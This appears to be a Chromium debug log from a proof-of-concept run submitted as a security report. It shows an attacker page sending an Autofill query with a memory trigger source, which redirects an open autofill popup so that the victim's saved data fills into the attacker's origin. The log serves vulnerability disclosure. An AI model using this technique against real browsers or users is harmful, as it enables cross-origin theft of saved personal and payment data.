[1928:1928:0526/140830.730385:ERROR:components/autofill/content/renderer/autofill_agent.cc:2218] [POC][renderer] frame http://127.0.0.1:8081/merchant.html?auto=1 sending AskForValuesToFill(trigger_source=1) for field renderer_id=8 (no focus/HidePopup sent) [1772:1772:0526/140830.730768:ERROR:components/autofill/content/browser/content_autofill_driver.cc:642] [POC][browser] ContentAutofillDriver::AskForValuesToFill (Mojo IPC from renderer) origin=http://127.0.0.1:8081 trigger_source=1 [1772:1772:0526/140830.731491:ERROR:components/autofill/core/browser/ui/autofill_external_delegate.cc:338] [POC][browser] AutofillExternalDelegate::OnQuery: query_field_.origin null -> http://127.0.0.1:8081 (trigger_source=1, host_frame=4C045BF9C79D8556872DFA7B0CD58751) [1928:1928:0526/140832.118629:ERROR:components/autofill/content/renderer/autofill_agent.cc:2218] [POC][renderer] frame http://127.0.0.1:8080/attacker.html?auto=1 sending AskForValuesToFill(trigger_source=22) for field renderer_id=2 (no focus/HidePopup sent) [1772:1772:0526/140832.119308:ERROR:components/autofill/content/browser/content_autofill_driver.cc:642] [POC][browser] ContentAutofillDriver::AskForValuesToFill (Mojo IPC from renderer) origin=http://127.0.0.1:8080 trigger_source=22 [kAtMemory — passes CheckSingleValidTriggerSource] [1772:1772:0526/140832.119861:ERROR:components/autofill/core/browser/ui/autofill_external_delegate.cc:338] [POC][browser] AutofillExternalDelegate::OnQuery: query_field_.origin http://127.0.0.1:8081 -> http://127.0.0.1:8080 (trigger_source=22, host_frame=9AD573DD620AF93BD5BF72159C496D0C) [1772:1772:0526/140832.120523:ERROR:components/autofill/core/browser/foundations/browser_autofill_manager.cc:1202] [POC][browser] BrowserAutofillManager: kAtMemory + kDisabledNotEligible early-return WITHOUT hiding popup. external_delegate_->query_field_ now has origin=http://127.0.0.1:8080 field_id=9AD573DD620AF93BD5BF72159C496D0C/2 — any open Autofill popup will fill into THIS origin on accept.